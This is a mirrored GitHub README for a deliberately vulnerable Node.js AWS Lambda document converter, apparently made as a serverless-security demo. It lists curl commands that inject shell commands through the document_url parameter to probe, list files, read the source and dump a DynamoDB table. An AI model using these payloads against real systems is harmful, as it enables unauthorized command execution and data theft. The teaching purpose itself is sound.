GithubHelp home page GithubHelp logo

puresec / vulenrable-app Goto Github PK

View Code? Open in Web Editor NEW
5.0 6.0 2.0 226 KB

A sample vulnerable Node.js AWS Lambda function

Home Page: https://www.puresec.io/

Makefile 77.44% JavaScript 22.56%
serverless-security

vulenrable-app's Introduction

Overview

This is a simple Node.js AWS Lambda function that has several vulnerabilities and weaknesses. The function receives a URL to a .doc file as input, and converts it to plain text. The attack process starts by blind probing for a command injection, exploiting the remote command execution vulnerability (through a shell process), and then exploiting the over-permissive role assigned to the function, in order to grab all the information in the DynamoDB table.

Installation

  1. Clone the repo
  2. Make sure you have the Serverless framework installed, and use sls deploy
  3. Normal execution flow: curl -G https://API_GATEWAY_URL/dev/convert --data-urlencode "document_url=www.snee.com/xml/xslt/sample.doc"
  4. Blind probing for remote command execution: curl -G https://API_GATEWAY_URL/dev/convert --data-urlencode "document_url=; sleep 10 #"
  5. Exploitation to read the contents of the /var/task directory: curl -G https://API_GATEWAY_URL/dev/convert --data-urlencode "document_url=; ls #"
  6. Retrieve the function's source code: curl -G https://API_GATEWAY_URL/dev/convert --data-urlencode "document_url=; cat handler.js #"
  7. Extract all the sensitive data from the DynamoDB table: curl -G https://API_GATEWAY_URL/dev/convert --data-urlencode "document_url=; node -e 'const AWS = require(\"aws-sdk\"); (async () => {console.log(await new AWS.DynamoDB.DocumentClient().scan({TableName: process.env.TABLE_NAME}).promise());})();' # "

vulenrable-app's People

Contributors

0xh0b0 avatar oorryy avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar

Forkers

savobit

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.